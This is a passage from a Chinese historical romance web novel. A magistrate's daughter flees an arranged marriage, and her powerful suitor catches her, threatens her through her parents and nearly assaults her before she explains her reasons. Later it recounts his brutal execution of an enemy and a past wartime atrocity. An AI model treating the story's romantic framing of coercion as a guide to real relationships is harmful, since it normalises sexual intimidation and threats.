临溪鸦睫轻颤,紧紧闭上双眸,抬手搂他脖颈。后嫌不够,两只小手用力抱住身上宽阔脊背。
门页合拢,一声吱呀。
房内先是安静,随后有双足交替跺响床木的沉闷声,被衾亦被人以指面揪住,先翻过来,又转回去。
临溪猛地坐起身,拍拍脸颊。
李芝兰在外间敲门:“翩翩,阿母进来了?”
“我要睡了!”临溪扬声,“阿母不必守着我。自顾去睡吧。”
李芝兰停了一停:“翩翩,阿母有话跟你说。”
“以后再说!”
她知道母亲要问什么、叮咛什么,不肯面对。
李芝兰叹气,回到正屋,见姬昱还在提笔回信,没好气道:“商曜来一趟,精神气都好些了。”
姬昱笑着捋须:“你才发觉?”
李芝兰不禁看他:“这么说,你是早知道?”
“不比你早多少。”姬昱摆摆手,“我了解翩翩。两人这般境遇,宴饮那日她不可能不知道君侯在,真对他无心的话,就不会同意梳妆抚琴。你看她同意了,却不开心。”
“女为己悦者容。”李芝兰一叹,“我疏忽了。”
“有什么不好。”姬昱晾一晾墨迹,“人年轻,有权势,如今她也喜欢。除了晋阳遥远,简直十全十美。”
“话是这样说。”李芝兰坐下,一蹙眉道,“我总觉得你女儿没这么容易服帖。”
“想多了。”姬昱摇摇头,“你忘了她如何说的?只要是她喜欢的,南海她也去。”
他还是对自己的女儿一无所知。
两天后。
姬临溪身子骨是很好的,虽受寒高烧,退烧次日就活蹦乱跳。背着剑冲进武堂,轻鸿使劲踮脚:“翩翩!”
“回信到了。”轻鸿将帛缣递来,“刀也来了。两把。”
临溪一怔,低头打开。荀白在信中说,早就收到她的信,但这薄刃非从别处买来,是他亲手打制,尽管连日赶工,依旧耽搁了时日。还请女公子不要生气。
叠好帛缣,临溪又开了一旁布包。确是两把薄双刃,刃身闪闪发光。
交给轻鸿一把,低声问:“商队可以出发了么?”
“随时。”轻鸿接住细看,“我外祖母的回信都到了。说安宁县那边一切都好,家里也阔绰,连房屋都收拾出了。只等你到。”
赵如霓知道二人胡闹,扶额片刻,简直是懒得管。
临溪攥住刀柄,沉默半晌,毫无预兆道:“那就明日吧。”
后日,韩朔和徐砺要来送聘礼。
“可以是可以,不过……”轻鸿迟疑,“你真的不喜欢他吗?”
临溪又是沉默。
轻鸿有答案了,却听她轻声道:“不重要。我可以戒掉对荀竞初的依赖,也可以戒掉对他的。”
背着剑,挺直脊背走了。
次日午后,将自己锁在房间,找出最柔软白净的一卷帛,提笔写字:
父母亲启。自姑臧陷,女自跌宕。人咸道美为我幸,其姻为我好命,亦不从之。女善凉州,而下安土,不欲颠沛,不欲则托。天地远,山河广,吾有求。
笔锋落定。临溪眨眨眼睛。
将帛书压在砚下,出门时叮嘱望舒:“我今夜在武堂用饭,你同母亲说一声。”
又随口道:“晚间还是备一碗行面,怕会饿。”
望舒点一点头。
戌时末,临溪依旧没有归家。李芝兰坐不住,一把退开房门,点灯四视。抓起帛书读完,险些跌在地上:“姬逸衡!”
冲出去和姬昱撞上,将帛书拍在他身上:“你自己看!”
姬昱低头扫读,心中一紧:“这——”
“我怎么说的?”李芝兰捂着心口,“你女儿就不可能这么服帖!”
“我马上叫人找。”姬昱连忙撑住妻子身体,“你放心,城门已下钥,她今夜出不去的。”
“她有令牌!”李芝兰气急攻心,“同那些守卫也相熟,谁敢拦?”
“我先前就打点过。”姬昱急匆匆向外,“再让人去提醒一声,穆家商队一律拦下。”
脚步一顿:“如今戍卫城门的,是并州营兵士。”
李芝兰也一愣。
“罢了!”姬昱皱眉,“这样跑了,瞒不住的。”
的确是。城门守军一听说姬使君放话,不许放女公子和穆家武堂的人,转身就去告知都尉。
这都尉正是许久之前,放临溪进姑臧那人。眼珠子转过三圈,毫不犹豫叫了个亲兵,速去帅帐报信。
然而韩朔和徐砺二人,正在核对礼书。聘书不必读,无非一些美好姻亲的套话。他二人认不全字,在使君府下礼时却不能读错。
“玄色帛三匹,纁色帛二匹,合五匹,象五行。青、赤、白、黑、黄丝,各十两。”徐砺念道,“黄金五十斤。天圆地方谷纹玉璧一双,玄玉璜一对,错金铜鼎一座。朱轮軿车一乘,副车两乘;九树花钗一副,秬鬯一卣——”
“念完没有?”傅以存头痛,“少主公记性也是真好。军中没有一件实物,还能一一记下诸侯王妃规格。”
“主公,给我大兄还是送些黄金即可。”韩朔挠头,“这些听着叫人发怵。”
商曜仍在写字回信:“你明日去,不许这样说话。”
韩朔拍拍胸脯:“那我肯定会把事办妥的——”
杜师在外大声传:“少主公!城门都尉有急信传!”
“进。”
亲兵进帐,一拱手道:“回少主公。姬使君一炷香前叫府里小厮递话,让我们不许放女公子和穆家武堂的人出城。都尉说,这是女公子要逃,特让我来回禀。”
帅帐一静。
韩朔缩一缩脖颈,躲到徐砺身后;徐砺也缩,站去傅以存肩旁。傅以存张一张嘴,也说不出话。
商曜腕骨停住,片刻后,面无表情将手下信件回完,丢开紫毫笔。
起身大步往外,又忽然退后两步,抬手夺过徐砺手中礼书。垂下眼睛,毫不犹豫将帛卷丢进帐中正点着火的鐎斗,这才又向帐外去。
“完了完了!”韩朔跺脚,
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“这个清溪女公子——”她犯了最不能犯的忌讳。
傅以存回过神,取过剑跟上。
照夜白撕开凛冽夜色。
虽只有寥寥十几人同行,火光也够围住穆家武堂。
商曜依旧毫无表情,杜师快步上前叩门。
穆轻鸿深呼吸,拉开门:“何人喧扰?”
“使君家女公子呢?”杜师盯她身后,“把人交出来。”
“我不知你在说什么。”轻鸿怕得要命,还是努力挺直腰杆,“她早就归家去了。”
商曜忽然清醒。他早知道穆家武堂同她亲厚,她当然不会躲在这里。正要叫杜师走,不想那个比姬临溪还矮的小娘子鼓起勇气:“我虽不知她去了哪里,但我知道她为什么逃!你们这些晋阳人,打到凉州来,打进姑臧,就以为能逼人就范姻亲、背井离乡?凭什么?”
傅以存赶到时,就先看见这张圆脸。看起来怕得要昏过去了,硬生生没有露怯,睁着一双圆眼睛,越说越大声。
他多看了一眼,随即上前叫商曜:“长叙——”
商曜已经勒住缰绳掉头,马蹄迈出一长,蓦地又转身,语调冷冷:“你转告她。”
“凭她父母在我手上。”
傅以存一怔,暗道这样更不妙,然而姬临溪这回是真碰着了逆鳞。商曜丢下这句,径自策马离开。
他叹口气,下马走向那小小个娘子。穆轻鸿怕得不行,愣是仰起脖颈:“何事?”
“不必这样转述。不要涉及父母。”他看向她,发觉连唇形和发髻也圆圆的,声音温和,“你只告诉女公子,同君侯绝不可反复不定,他真的会动怒。且一旦离弃,他从不给第二次机会,望女公子早做决断。及时认错,尚可转圜。”
穆轻鸿咬住唇瓣,一抬颈项,并不答复。
傅以存转身走出去几步,蓦地回头:“敢问小娘子名讳?”借着火光,他还发觉,连衣裳上绣着的雏鸟,都是圆圆的。
轻鸿退后一步,怕归怕,小声顶回去:“与你何干?”
傅以存唇角一扬。真是人以群分。
翻身上马,去追商曜。
轻鸿看骑兵疾驰而去,吓得跌到地上,拍拍胸口。一旁女使扶起,一道退至门后。
执灯下到地窖,轻声:“翩翩?”
“我在。”临溪挥手,“如何?”
“没搜。”轻鸿吓坏了,使劲摸胸膛,“你怎知道他不会搜我家?”
“我之前跟他说过你是我最好的朋友,他知晓的。”临溪接住她,按按肩背,“那他肯定就觉得我不会躲在你这里——最危险也最安全。他怎么说?”
轻鸿迟疑。
临溪盯着她:“你如实说来。”
“他说——”轻鸿瘪一瘪嘴,“我按照你教的原封不动说了。他说,凭你父母在他手上。”
角灯照亮临溪眉宇,影影绰绰,都是失望。
“哦——”她低下头,“他不会的。”
轻鸿跟着坐下:“出城怕是有点难了。”姬临溪心眼还是够多的,今日并未自己贸然离开姑臧,先让轻鸿安排几辆武堂犊车出去。交出过所后果然被拦下来,细细盘查人员。
临溪抱住自己,心情沮丧:“竟然这样说。”
“你——”轻鸿转头,“你是不是也有些舍不得?”
临溪沉默。
“其实如果喜欢的话——”
“没有。”临溪打断,音量不自觉升高,“一点也不。”
轻鸿瞅着她:“我才不信。”
她拍拍临溪肩头:“我明日看看情况,再想办法送你出去。”
提起角灯,小心踩着木梯,爬出地窖。甫一站稳,乍然看见院中玄甲兵士,吓得惊叫出声,直接跌在地上,哎哟一声,伸手无措指着商曜:“你你你——”
商曜扫她一眼,向地窖入口走近一步。
临溪听到惊呼就一激灵,慌忙往上爬:“轻鸿!”
谨慎探出脑袋,对上一道冰冷视线,也吓得松开手,往后仰去——
那人眼疾手快,大步上前,握住她臂膊,凌空抱起。多一个字也没有,横在胸膛里,大步往外去。
傅以存箭步上前,向地上呆滞状的轻鸿伸出手,微微笑弯眼睛。
赵如霓原本躺在榻上喝酪浆、剥果子,听见院中终于安静,简直是无奈透顶:“这两只小泼猴。再闹,我看一眼都嫌烦人了。”
身旁女使含笑:“使君这么用心盘算,女公子肯定要嫁的。那位君侯明事理,夫人不必担心牵连鸿儿。”
“哎。”赵如霓起身,拍拍手,低声道,“也是个可怜孩子。脸长成那样,李夫人或许只是想她有人庇护,但使君……这种女儿,不尽其用,不甘心的。”
女使颔首。
赵如霓推开窗看去,见另有一高大年轻男子,扶起的却是她家轻鸿,脸色陡然大变:“哪来的竖子!”
30. 瞬间
临溪被重重扔在帅帐案后。
商曜站直身体,居高临下睨她一眼,随手褪了甲,又不紧不慢解袍服。
临溪起身,从腰后抽出薄刃:“我警告你——”
商曜眯一眯眼睛,认出这把双刀。
他俯身下来,有力臂膊撑在她两侧,将刀抽出抛掷,声音压得极低:“原来是为了他。”
才不是。
“我本来就喜欢他的!”临溪一梗脖子,“为何不能找他?”
他定定看着她。
扯唇嘲讽:“你真是不怕死。”
临溪退后一寸,举起刀刃:“我说过的!这世上没有什么能叫我屈服。”
“你不必同我正义凛然。”他抬手攥住她下颌,越发冷淡,“女公子做戏也一流。”
临溪挣扎着,去推他手:“走开——”
“昨夜我们在做什么。”他的眼睛也淡极了,再不复近日温和,“要我回顾?”
临溪心口一缩。
他近来是真的极为忙碌,白日里从没有出现过一次。即便守诺夜间都来看她,亦是一天比一天晚,昨日拖到近亥正赶到使君府,不方便再进屋。她踮脚出去见,被摁在树下狠亲一通。
起初她是不给回应的,亲着亲着,不知为何那双纤细手腕就自发吊去他颈后。脸颊向后,唇瓣微启,同他接吻。
“你当我是什么?”商曜不许她躲闪,牢牢掌住下巴,“有用就逢迎,无用就甩开?”
根本不是这样的。她心中有一瞬间的冲动,想要和他坦诚交流。但想起他第一反应不过以父母要挟,又有些警惕:“你少来倒打一耙。你待我不也是。”
“也是?”他讥讽一笑,“姬临溪,你以为就凭凉州,也配我的姻亲?”
她怔了一下,他已经道:“我留你父亲,是他有用。你当真以为我需要给他颜面?”
临溪心头更是一片灰白。她本意实在不是如此,下颌也被攥到发痛:“不是!我没有在说这些……”
他太用力了,像是想要伤害她。她眼中泛起雾气:“你又这么对我。”
他漠然看她。
商曜已经很久没有这样动过气,思及那份被灼烧的礼书,胸腔中更是燃起一股无法消解的冷意:“我告诉过你,这世上没人能挑衅我。”
想必近来亲近交缠,都是为了叫他松懈。
他忽然伸手,直直抽开她腰间丝绦。
临溪错愕,匕首也被夺走丢开,肩背一疼,是被他大手搜寻确认再无武器。随即就抄起她身体,大步往内间去。她看到他侧脸紧绷着的锐利线条,心中恐惧:“商曜——”
脑后一疼,跌在榻上。
“我还是太纵着你。”他重复一次,眉宇越发冷,单手扯开领口衿勾,俯身下去。
临溪再迟钝也知道这是要做什么,抬手就重重劈过去。他今日是真忍耐到了极限,抓她手腕就死死制住,一侧膝骨分开她双膝,眼中没有温情,只剩掠夺意味:“省省力气。”
“不要——”临溪奋力挣脱,“我不许!我不许!滚开!”
他冷眼看她,抬腕就去撕她襦裙。才将人压到身下,捏住腕骨盖过头顶,听见少女哭吼:“不是为他!不是!我只是问他要了刀而已!根本不会去找他!我只是打算去安宁县认识的人那里!”
他停下来。
两人的衣襟都乱了,呼吸抵在对方耳畔。
“你别这么对我。”她仰起脸,倔强不肯落泪,“我不准你这么对我。”
他和她对视片刻,低声反问:“我要你允准?”
但他对床笫强迫的确没有兴致,不吓她,逼不出实话而已。倏地坐直,将人搂到怀里,抬手护住脑后,简单命令:“解释。”
临溪抓住他衣领,身体还在后怕发抖。
默然半晌,率先问:“你怎么知道我躲在——”
“我了解你。”他低头看她,“自作聪明。”
临溪垂下脑袋。
“解释。”他没有什么耐心了。
临溪擦一擦眼泪,虽还有些抽泣,到底平静许多。抬起脸,望住他双眸,毫无预兆:“你喜欢我吗?”
他却很平静,连思考时间也没有:“不然我在做什么?”
“你会永远喜欢我吗?”
商曜这才怔了一下。这是什么怪问题?谁能够解答永远?
“倘若你得到我,三个月、半年、一年,或我好运,是好几年,好些年。你腻了。”临溪望着他,声线清清楚楚,“我一个人在晋阳,我怎么办?你口口声声说允准我父母陪居,我一个人寄人篱下,和我一家寄人篱下,又有什么分别?”
他第一次在她面前因无法回答而沉默。回视她许久,以问代答:“逼问我,对我没有一点用处。谁能够确保你永远?”
“可他们也不像你,要得到谁都可以。”临溪站起来,攥住拳头,“洛阳皇帝想把他和皇后的女儿嫁给你,你不要,直接打发使臣走。我是不如公主高贵,但在你之前,也从没有人这样欺负过我!”
她又补充:“且在我自己心里,我和公主是一样高贵的。”
商曜也起身,瞬间又低头看她:“非要我说你特别?”
“你听不听得懂人话?”临溪皱眉,“谁稀罕?我自然知道我是最特别的,比任何人都特别。用得着你说?”
“我意思是,你想要谁都很容易。”临溪挺直脊背,“就算是我,我也承认,你若真拿父母威胁,我就跟你回晋阳去。我没有一点办法。”
“既然这么容易,恐怕连几年都很难。”临溪顿了顿,“一旦嫁去你家,我举目无亲,朝堂之上都是并州官僚,我想做坏事也没有党羽。谁知道晋阳高门贵女,有多少想做你夫人的?将来你换掉我,废掉我,杀掉我,比我昔日杀郭子昂还要简单万倍。你我是有什么很深的情谊吗,值得我这样冒险?你认识我时日也不短了,难道不知我在凉州有多快活?我阿父是刺史,母亲是陇西李氏女,夫君在姑臧背弃我,我可以放心动手、大胆和离。同你走到一处,我能吗?我父母先前怕你怕得要命,后来不怕了,又恨不能我即日跟你成亲。他们还愿意护着我吗?”
商曜负手而立,站去窗下。
“再说回你。”临溪低一低脸,“你初见我,根本对我没有兴趣。见我杀掉郭子昂,就改了主意。你真的以为我不知道吗?这种古怪的欲念,又是否值得你付出这样大的代价?你至今没有成亲,难道就为留给一个仅仅只是见色起意的女子?值得吗?”
“你说我
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生病,是有人未报。我猜,是那位邬先生。”临溪咬了一下嘴唇,“他是你父亲留给你的心腹,就代表着晋阳,所以他不会喜欢我父亲,不会喜欢凉州士子,不喜欢你跟我亲近。这还只是他,你真的笃定,晋阳城里那么多人,会同意你娶一个降将的女儿作正妻?”
“你又要说,你不需要他们同意。”临溪抢在他前面,“可是,这是因为你现下对我有兴趣。一旦没有了,你就会后悔,后悔怎么想不开,要为我排除万难。然后越看我越不顺眼,越看我越觉不值,届时我又怎么办?回凉州吗?更不说如若有了孩儿,我自己回来吗?”
“还有孩儿。”临溪抬起下颌,“我告诉你,我允许我的夫君变心,我知道人心是根本无法约束的。但只要他变,就一拍两散,孩儿归我,和离各自经营,老死不相往来。纳妾是想都不用想,除非我死。你能吗?你今日只是列侯,可你到中年,怕是在洛阳或长安,会有后宫。你以为我不知?”
商曜没有回头。
“我父亲的本领不够护住我,母亲许多时候更是无能为力,我如今已经明白,也认了。你说你喜欢我,我原本也开心,想过就这样埋起头,听你的,跟你走。”
临溪深呼吸,坚定道:“但一直自欺欺人,这就不是我了。我父母不全然是我的家,你更不是我的家,只有我是我自己的家。我凭什么要为你一时的喜欢,亲手将我的家推入危墙之下?我在姑臧过得很开心,凭什么就要搭上自己,去赌你的良心和感情?倘若我真的红颜薄命,也不过是你大业途中微不足道之注解。又凭什么?”
“我知道我姬临溪,实则什么也不是。史书里不会有我,姑臧县志都不会有,我死了活了,于这世间也毫无意义。”临溪抬手,狠狠拭去水雾,“可我就是想要过得好,就是想要安宁幸福。我也明明可以的。凭什么要为了你放弃?天地广袤,山河流长,都值得我用尽一生冒险,但是你不值得。”
他似乎微微地僵了一下。她更用力道:“世间也没有任何男子值得。”
“我是不那么讨厌你了,更没有骗过你。有些时候,我甚至怪我自己。”临溪依旧抬着下巴,声音放轻,“可我永远最喜欢我自己。我喜欢我自己,不抛弃我自己,就永远不会无枝可依——谁能够应允我永远?我现在告诉你了。”
商曜眉眼微动。
他回过身,重新望向她,低声说出自她开始陈述后的第一句话:“卿心非铁。”
自然不是。她也承认她的心脏对他发芽。
临溪原本站得笔直,闻言挺起胸膛:“说这些没有用!反正无论是什么,都无需血泪哺育。”
商曜依旧安静望着她,望着、望着,周身戾气逐渐消散一干二净,眉目再度溢出温润。
他问:“你知道我何时决心娶你?”
临溪一怔。
“那时郭涉闯入你家。”他稍稍一停,“我疾驰赶去,心里只是想,好奇怪,分明没有得到你,却这么害怕失去。”
“你头头是道说这么多——自然,你的顾虑有道理。我有空会想。”商曜也一抬下颌,“但归根结底,是你对我的情绪,远不及我对你,所以冷静。你明白吗?”
“翩翩,”他停在她的小字,而后再问,“你能明白吗?”
31. 空落
姬临溪小娘子的禁闭开始。
她就知道,商曜此人只是冷漠,并不真的无药可救。没有找穆家麻烦,待她父母依旧礼重,连她说那些话,他也没有生气,只是将她送回刺史府,神色始终淡淡。
丢下她就走,很显然是没时间管她了。但一进家,临溪立刻窜进房里,紧紧关上门:“阿父阿母我错了!”
“姬临溪。”姬昱在门外叫,“给我出来!”
李芝兰扯扯他。
“你不想嫁就直说。”姬昱深呼吸,“不许再给我闹出这些不成体统的事!今天跑,今天被抓回来,你很得意?”
父亲被母亲拽走,声音渐远。临溪贴着门滑落,抱住自己。
翩翩,你能明白吗?
你能明白吗?
明白吗?
临溪猛地捂住耳朵。
不许再想!
被关了没几天,她就得知一件更叫她掉下巴的事——商曜去金城打仗了。
临溪听说时正在用饭,险些一口喷出来。忍住没有失态,追问菀青:“他本人去的吗?还是手下那些将军?”
“君侯去了呀。”菀青托腮,“金城郡从前那个何将军被他杀了,还是凌迟处决。如今金城驻军趁他不在,揭竿起事,所以——”
临溪怔怔:“凌迟?”
菀青点头:“市井里是这样说的……金城人肯定会不满。”
临溪手腕一抖,险些碰翻陶碗。
“女公子多吃些。”望舒在一旁叠衣,轻声道,“近来消瘦了。”
临溪却有些食不下咽。
她心底还是有些怕他,那些隐隐约约恐惧,一直都在。
李芝兰端着新制毡裘进屋,坐在案后:“吃饭也不专心。”
临溪脸埋进碗里。
李芝兰无言看着她,半晌后叹气:“小倔骨头。”
临溪一顿。
“你父亲说,拿你没有一点办法,也不打算再关你了。随你吧。”李芝兰替她夹菜,“翩翩,你究竟在闹什么呢?”
望舒和菀青对了下目光,默契离开房间,带上门。
临溪不吭声。
“他领兵去金城了。”李芝兰停一下,“我如今慢慢觉得,这桩婚事还是有些不妥。他近几年一直在战场上,就说今岁,先是冀州各郡,后上谷渔阳一带,如今又来凉州,消停没多久,又是金城。总在日夜奔袭,今后怕也还是如此。你实在不乐意,阿母就不逼你了。”
“不是这个缘故。”临溪闷声说了句,快速扒饭。
李芝兰叹气。
她问:“你既喜欢他,为什么又不愿意和他好好相处呢?”
临溪不言不语,抱住陶碗,眨眨眼睛。
“翩翩。”李芝兰伸手握她,“我总感觉,自宴饮那日,你同我和父亲就有些疏远了……但阿母实在不知做错何事。从前青州益州来使节,众人为筵席助乐,你也参与过啊,又没有往心里去的——想办法讨他喜欢,是你无法容忍的事吗?”
临溪轻轻收回手。
宴饮次日。
她挣扎着起身,读军中传来的信简。商曜只写了一个段字,她明白何人所为。
并未上门打草惊蛇,只约段泰膝下女儿文君一道去市集。人人都知道她和武堂商行相熟,一向能低价买到些新奇东西,文君赴约。
只是神色有愧。临溪将她请到武堂后院,倒了酪浆,开门见山:“昨日并没有发生什么,我也还好。只是想知道,到底何处得罪令尊或令堂,要这样害我。”
文君年纪本来就小,将将及笄,一听就惨白脸色:“翩翩阿姊。”
“我自然不是怪你。与你无关。”临溪倾身,揉揉她脑袋,“没有发生什么。你同我好好说,不会如何。”
她是骗人的。坐实是段泰夫妇,她怎么也要持剑上门去。
文君小声问:“当真没有什么吗?虽然我知道,你们会成婚。”
“没有。”临溪肯定,“你看我一点都不难过。”
文君就乖乖说:“是我父母。我祖父母想将我送去君侯那里侍奉,做小妾也可以。但我母亲不肯。你们本来就是要成婚的,她觉得无事,又想警告祖父母,别再拿我算计。正好君侯生气,训了阿父一顿,祖父母颇为后怕,担心影响阿父前程,就不敢再生事。”
“我猜也是。”临溪望着她,“你母亲不肯——那她是怎么说的?”
文君惭愧低头:“翩翩阿姊,对不住。我阿母不是真要害你,她只是觉得婚雁都送了,迟早要做夫妻,就没什么。且归根到底,她是宁愿自己护我,也不愿意我委身于人……莫说做妾,就算是正妻,她也不会同意别人算计我的。我阿母就是这样。阿姊,恳求你宽宥。”
语毕颔首,叉手行礼。
临溪倏地攥紧杯耳。
原来是有这样的母亲存在的。
她一直安慰自己,所有向外、向男子分摊责任的行径,都是父母迫不得已。局势、权力、姻亲、安稳、富贵,全是正确的权衡与选择,实则并不折损他们对女儿的爱意。她相信如果商曜三四十岁,如果他已有正妻,父母绝对不会这么去做。他们只是看中他的十九岁,看中他越发大权在握,看中他能够永远妥善保护妻儿的卓越能力和坚毅性情。
所以他们爱她是真心,一直只有她,也一直、一直爱护她,她深感无比幸运。她只是不能够要求他们像谋求自己的人生一样一往无前地谋求她的自由与幸福,天底下也没有一个女儿,拥有这样幻想的资格。
但原来是存在的。
她忽然间无比失落。
这种失落藏在心底最深的地方,至今没有好全。
她不追究了。也不打算告诉李芝兰,王琢夫人所作所为。
“我只是自己都不曾想好。”临溪垂眸,“且他又要和凉州人打仗。”
“政客部曲之间,是非对错另议。”李芝兰道,“不伤生民即可。”
临溪捏着木箸,不再说了。
“但你实在不愿,阿母不会逼迫。”李芝兰望她神色,“阿母只是不明白,他显然是很喜爱你,你也有所触动,为何还是不愿意?”
临溪抱起陶瓮,咕噜咕噜喝汤。
李芝兰知道这是不想答,心里又是叹息,将毡裘指给她:“天气冷,我早前叫人给你做了新冬衣,今日送来了。身体刚好,不要到处去晃荡。”
临溪手指一顿。
午后溜去武堂,进门就抓住轻鸿:“你知道他真是去金城了吗?”
“是金城。”轻鸿放下算筹,肯定道,“金城那个地方,兵权一直在护羌校尉手里。人被他处死,他又回了姑臧,或许就乱套了。所以要赶过去吧。”
“那个将军叫什么?”
“这我就不知了。”轻鸿看她,“怎么了吗?”
“据我所知,这人早就弃城躲起来了——死不死还有什么区别?金城驻军之前没闹,为何非要这时闹事?”临溪凝眉,“我方才想了想,自从那一趟回来,他身边似乎一直少一个文官。那人姓桑,正是金城籍贯,人很儒雅,且羌语流利。我之前一直以为,带他回治凉州,就是这个缘故。”
轻鸿眨眨眼。
临溪还在垂首思索,轻鸿忽然托脸感叹:“翩翩,你是真的比很多男子都聪明。很细心。”
“有什么用。”临溪趴去案上,“又没有我说话的地方。我只能猜一猜。”
轻鸿提起另一桩事,很是雀跃:“我父兄应当快回了。按照先前定的日子,再过半月就该到姑臧。”
临溪跟着一振:“发财回来咯。”
“那当然喏,我阿母也很高兴。”轻鸿抱胸,“这一趟真的很多钱,一路途径安定北地上郡,甚至能到西河,帮人通市售卖也要很久。三个月赚这一笔,不多的话,我阿父是不会同意的。”
临溪玩着手指:“西河郡——是不是离晋阳很近?”
“是的。”轻鸿凑过来,“两地简直毗邻,中间只隔兹氏平陶大陵几个县。我是活地图,不会记错。”
“我哪说你错了?”临溪挡住脸,“随口一问!”
“翩翩。”轻鸿撑住案头,“你胆小鬼。”
临溪一怔,不服抬脸:“我没有——”
“你明明就喜欢他啊。”轻鸿直直看着她眼睛,“不想去晋阳倒也没什么。绝不承认是为何?”
临溪发呆片刻,摇一摇头:“一旦承认,他更会把我掳走的。”
“他总是装作对我不错的模样,骗过所有人。”她垂下脑袋,“但骨子里依旧不是好人,也不是真的喜欢我。我不能傻气。”
轻鸿实在不明白,她是全然没开过情窍的,脑子里只有赚钱和炙牛羊。闻言更是困惑
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:“不是好人?”
哪有好人撕人襦裙。临溪埋住脸,不想解释。
但她又担心。
凉州兵士一向有骁勇之名,原因就出在这羌人身上。羌人同匈奴一样,天地为居,四季游牧,骏马驰骋。同这些人打交道,有一分文弱都不行。且部落杂居,有些同汉人互视为死敌,有些却关系尚可,称兄道弟,甚至肯携妻儿进金城武威等郡定居,来往商贾,或从军效力。
她知道商曜家多年戍守北地,同匈奴人作战经验颇丰,所以并不畏惧胡人。但这两族差异诸多。
匈奴有自己的王庭,部队严明,训练有素;羌人松散,却更凶悍,极为擅长短刀搏杀,妇孺持械亦敢冲锋。凉州深受羌乱困扰多年,却始终无法根除。
并州是几乎没有羌人作乱的。商曜至今征伐吞并过的幽冀二地,也没有。偌大版图,甘凉算是唯一了解和抵御西羌的地方。姬昱少时游历,目睹凉州生民被羌人辱杀惨状,这才决心苦学羌语。
临溪有些不安。她知道商曜自然有精兵相护,那韩朔的个子就高到像要长去天上,又对他的少主公忠心耿耿,但战场毕竟是战场,刀剑不会长眼睛。
她虽出生在洛阳,四五岁就随父母搬来姑臧,自然算凉州小娘子,心底一直也十分抵触羌人。
可是,总不能因为害怕,就祈祷是自己猜错,他是去打金城人。
临溪趴着一动不动。
轻鸿只以为她是少女心事,一边切洗冬葵,一边好奇询问:“喜欢是什么感觉啊?”
临溪回头瞪她。
“不说就快过来濯羊肉。”轻鸿吐了下舌头,“今夜我做蜜浆羊羹好了。”
临溪起身,接过木盆,将羔羊肉的血水濯清。反复到第三次,突然道:“以前我在你这里杀鸡,模样很丑,段郡守家的长子就不喜欢我了。”
轻鸿记得这件事,两人将那段宣骂了三天三夜。
“我在他面前也丑过。”临溪一顿,声音低下去,“很凶,脾气很坏,总是骂人,不是我本来的样子。我根本没有这么不礼貌。但他从没有说什么。”甚至,还愿意喜欢她。
轻鸿终于听懂。
“原来喜欢就是连一个人的丑样子也喜欢。”她再自行解读一道,“那我明白了。”
临溪垂下眼睛。
“他要是姑臧人就好了。”轻鸿皱皱鼻子,“晋阳太远了呀。换作是我,我也万万不会去的。”
晚间,临溪敲开书房。
姬昱正在看舆图,见她主动过来,一时都不知该教训还是问候。好在临溪屈膝行礼,主动喊了父亲。
“坐吧。”姬昱也是无可奈何,等她在案前跪直,方道,“是有什么话指教阿父?”
“他真是去打金城兵了吗。”临溪望向姬昱,“还是另有用意?”
姬昱一怔。
“我觉得不是金城兵。”临溪迟疑,“凉州和中原离得远,普通部曲之间,始终没有多少效忠汉室的念想。先前也不在意并州人来,为何这时忽然发难?且,父亲是否注意到,桑长史许久没有出现?连那日筵席也不在的。他是金城人士,我听他说过。”
姬昱注视女儿许久,突然低低叹了口气:“翩翩若是男子,就好了。”
临溪注视着父亲,喉咙轻轻一滚,别过脸去:“我当女郎漂漂亮亮,也是很开心的。”
姬昱笑了一下。将舆图调转方向,递给临溪:“他不曾对我说。但我亦猜测,此番绝非镇压军中哗变——或许哗变是真,但远远不止如此。原护羌校尉名何敞,和并州之间有死仇,在凉州名声也不好,听说商曜来早早就逃了,我看驻军也没有如何,不至于如今又为他死而愤愤不平。现下管事的武猛都尉张广,那是个实打实能镇住麾下部曲的将军,还能生什么乱子?”
临溪抿唇,摇一摇头:“但我不信他这么好心。西羌根本伤不到他并州疆土,他如何就愿意帮忙平定?”
“羌人狠辣。”姬昱沉吟片刻,“常年盘踞陇西金城一带,骑兵东去西京,是很快的。从前也曾数次逼近关中。”
“可是晋阳在北方,关中地带,也与他们无关——”临溪一愣。
姬昱低头倒水。临溪话音戛然而止,心脏倏地剧烈跳动。
姬昱抬起脸。
望着女儿瑰丽眉目,终于笑起来:“翩翩想当皇后吗?”
32. 性情
临溪本能按住桌案:“阿父浑说什么呢——”
“分久必合,大势所趋。”姬昱目光一深,“不出几年,天下也该有新的皇后了。”
临溪张一张嘴。她很少想这些。
姬昱又耐心问:“你想吗?”
临溪即刻把头摇得像撒了泼的拨浪鼓。
姬昱失笑:“为何?”
“因为我没有那样的本领。”临溪声音清脆,“我善妒,又小心眼,还喜欢打人。可是皇帝一三宫六院,二不许旁人记他仇,三伤其身体发肤,是诛九族之罪。虽然翩翩也很想知道一人之下万人之上是何种滋味,但是以找死为代价,就算了。”
姬昱笑得肩膀抖动:“你这孩子。嘴皮子从油锅捞出来。”
“金城郡那个何敞,乃是城阳王妻弟,城阳王又是当今陛下的亲弟弟。起先知道商曜来,何敞弃城而去四处藏匿,如今被捕,是他亲自动手凌迟,还命人捉来野狗,将人骨踢掷投喂。”姬昱观望女儿神色,“翩翩听了害怕否?”
临溪挺直脊背:“尚可。”实则心底有寒气弥漫。
“你可知为何?”
临溪摇头,忍不住道:“以我同他相处经验,若只是政见立场不同,绝不至于此。”
姬昱垂首一笑:“这话不错。”
“二十年前,那时他祖父刚过世,父亲袭爵,尚在孝期。诸事初定,朝廷发并州部曲去剿代郡匈奴之乱,闻乐浪起事,又要他们马不停蹄平叛。”姬昱轻轻一叹,“商焕这人——虽然朝廷不信,实则是真忠臣,并无多少野心。一一都领命了,戍守边防从无懈怠。何家世代主事魏郡,何敞趁此机会攻入并州,横兵阳邑。逢阳邑城中饥荒,叫人捉了百名并州俘虏妇孺,逼他们易子而食,析孩童骸骨而作柴烤肉,见赏惨状,扺掌大笑。”
临溪跌在地上,面色霎时惨白。
“后来商焕还兵晋阳,也将阳邑夺回。听闻此事,面对生还百姓,依旧长跪不起。”姬昱神色也颇为动容,“从此晋阳同何家结下死仇。彼时双方都是汉臣,事情闹到洛阳,先帝却不过革去何敞官职,蹲了两年牢狱,草草安抚了事。后又寻了个机会将他调回东都待用,再无事发生。”
